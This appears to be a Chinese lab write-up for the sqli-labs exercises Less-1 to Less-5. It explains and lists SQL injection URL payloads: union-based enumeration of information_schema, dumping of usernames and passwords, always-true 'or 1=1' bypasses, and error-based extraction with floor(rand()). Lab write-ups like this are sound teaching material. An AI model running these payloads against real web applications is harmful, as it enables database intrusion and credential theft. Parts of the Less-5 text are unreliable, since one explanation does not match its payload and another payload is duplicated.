Less-1
思路:首先识别数据库名,尝试通过union select
语句绕过原有的SQL查询,一旦知道了数据库名尝试列出该数据库中所有的表名,知道了数据库中的表名,尝试列出该表中的所有列名。最后从users
表中提取敏感数据,如用户ID、用户名和密码。
注释:
--+
是SQL中的注释标记,用于忽略掉原始查询中可能存在的剩余部分,防止SQL语法错误。
information_schema.tables
是MySQL中的一个特殊表,包含了数据库中所有表的信息。table_schema
列表示表所属的数据库名,table_name
列表示表名。group_concat(table_name)
用于将多个表名合并为一个字符串返回。
information_schema.columns
包含了数据库中所有表的列信息。
?id=-1' union select 1,2,database() --+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=-1' union select 1,2,group_concat(id,username,password) from users --+
Less-2
思路:修改URL中的查询参数id
来尝试进行SQL注入,输入了一个构造的字符串来绕过正常的SQL查询逻辑。
注释:--
是SQL注释的开始,它告诉数据库忽略该行中--
之后的所有内容
?id=-1 or 1=1 --+
Less-3
思路:构造了一个字符串,首先尝试关闭任何可能由原始查询开启的字符串字面量(通过')
),然后添加了一个总是为真的条件(or 1=1
),最后使用SQL注释来忽略原始查询中可能存在的任何剩余部分(通过--+
)。
?id=-1') or 1=1 --+
Less-4
思路:如果数据库允许双引号界定字符串,或者如果查询在之前已经以某种方式“打开”了字符串字面量(通过前面的单引号),那么这个注入字符串可能会成功。
?id=-1") or 1=1 --+
Less-5
获取数据库:
(concat(0x3a,database(),0x3a,floor(rand(0)*2)),用于生成一个包含数据库名和随机数的字符串。
information_schema.tables
表中可能没有名为name
的列。可以使用table_name
或table_schema
之类的列。
?id=-1' union select 1,count(*),(concat(0x3a,database(),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name --+
获取表单:
通过嵌套一个SELECT
查询来检索information_schema.tables
表中属于特定数据库(security
数据库)的第一个表名,并将其与数据库名(没有直接获取,使用了DATABASE()
函数,它返回当前数据库名,可能不是security
)和一个随机数连接起来。
?id=-1' union select 1,count(*),(concat(0x3a,(select column_name from information_schema.columns where table_name='users' limit 5,1),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name --+
获取字段:
通过UNION SELECT
查询从users
表中检索第一个用户的用户名,并将其与一些额外的字符串(包括一个冒号、用户名、另一个冒号和一个随机数)连接起来
?id=-1' union select 1,count(*),(concat(0x3a,(select username from users limit 0,1),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name --+
获取数据:
通过UNION SELECT
结合从users
表获取的用户名信息和information_schema.tables
表的行数统计
?id=-1' union select 1,count(*),(concat(0x3a,(select username from users limit 0,1),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name --+